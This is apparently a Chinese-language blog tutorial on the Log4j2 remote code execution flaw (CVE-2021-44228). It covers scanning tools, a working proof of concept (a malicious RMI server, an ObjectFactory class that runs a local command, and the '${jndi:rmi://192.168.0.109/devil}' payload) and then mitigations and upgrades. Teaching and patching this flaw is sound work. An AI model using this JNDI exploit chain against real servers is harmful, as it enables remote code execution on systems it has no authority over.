一:什么是CVE-2021-44228漏洞?
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。
经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
二:漏洞扫描
我通过长亭牧云产品的Log4j2 漏洞检测工具地址,把我log4j的jar包压缩后在线检测是否有漏洞:
同时还可以用Log4j-scan这个python脚本,Log4j2 burp被动扫描插件以及AWVS来扫描log4j2漏洞。
三:漏洞利用
它是怎么被利用的呢?
我们先来看一段用log4j打日志的代码:
String name1="world";
LOGGER.warn("Hello,{}!", name1);
这样的话控制台会输出日志:10:06:54.199 [main] WARN com.devil.server.Log4j - Hello,world!
但是log4j提供了一个lookup的功能,去官网上看看:
lookup的功能很强大,可以查看当前操作系统的信息和虚拟机信息。那我们试验一下:
String name1="world";
LOGGER.warn("Hello,{}!", name1);String name2="${java:vm}";String name3="${java:os}";
LOGGER.warn("Hello,{}!", name2);
LOGGER.warn("Hello,{}!", name3);
控制台输出:
10:10:54.688 [main] WARN com.devil.server.Log4j - Hello,world!
10:10:54.688 [main] WARN com.devil.server.Log4j - Hello,Java HotSpot™ 64-Bit Server VM (build 25.202-b08, mixed mode)!
10:10:54.688 [main] WARN com.devil.server.Log4j - Hello,Windows 10 10.0, architecture: amd64-64!
果然是很强大的功能,但是lookup功能只能查看信息,并不能远程操作什么,顶多说有利于我们进行渗透。但是log4j同时还提供了一个Jndi lookup的功能,就是这个功能导致我们能够在有log4j漏洞的平台上远程执行恶意代码:
我们第一步,假如我是黑客,我在本地写一个服务,同时把一个我自己写的事务注册进去,我这个事务就是打开本地的远程桌面连接:
publicclassRMIServer{publicstaticvoidmain(String[] args){try{Registry registry =LocateRegistry.createRegistry(1099);System.out.println("create rmi on port 1099");Reference reference =newReference("com.devil.hacker.devilObj","com.devil.hacker.devilObj",null);ReferenceWrapper wrapper =newReferenceWrapper(reference);
registry.bind("devil", wrapper);}catch(AlreadyBoundException e){thrownewRuntimeException(e);}catch(Exception e){
e.printStackTrace();}}}
publicclass devilObj implementsObjectFactory{static{System.out.println("this is JndiObj,i'm here!");try{//打开远程链接Runtime.getRuntime().exec("mstsc");}catch(IOException e){
e.printStackTrace();}}privateString name;publicStringgetName(){return name;}publicvoidsetName(String name){this.name = name;}@OverridepublicObjectgetObjectInstance(Object obj,Name name,Context nameCtx,Hashtable<?,?> environment)throwsException{returnnewdevilObj();}@OverridepublicStringtoString(){return"JndiObj{"+"name='"+ name +'\''+'}';}}
我们准备就绪后把服务打开,它会显示:create rmi on port 1099,也就是在本地1099端口上开辟了服务,可以等待远程的jndi服务连接。
我们假设在一个有log4j漏洞的平台上提交一段jndi的远程连接代码,连接到我们的服务上,那么是不是就能在它本地执行我们的服务呢?
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");String name4 ="${jndi:rmi://192.168.0.109/devil}";
LOGGER.warn("Hello,{}!", name4);
果然在远程含有log4j漏洞的代码平台上,只要它一打日志,就会触动我们输入的代码,然后就会通过jndi远程连接执行我们的服务!
四:解决方案
如何补救:
按照官方api解释说明,当这个值为true时,就不执行lookup了。需评估是否影响业务log4j2.formatMsgNoLookups=true
2.通过防火墙限制服务访问不明确的ip
如何解决:
- JAVA7版本升级至log4j 2.12.4版本,
- JAVA8及以上版本升级至log4j 2.17.0版本:
implementation “org.apache.logging.log4j:log4j-core:2.17.0”
implementation “org.apache.logging.log4j:log4j-api:2.17.0”
implementation “org.apache.logging.log4j:log4j-jul:2.17.0”
implementation “org.apache.logging.log4j:log4j-slf4j-impl:2.17.0”
- 移除log4j-core包中JndiLookup类文件,并重启服务:Linux系统: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classWindows系统: jar包解压缩,删除org/apache/logging/log4j/core/lookup/路径下 JndiLookup.class文件
版权归原作者 Mr.KeyBoard 所有, 如有侵权,请联系我们删除。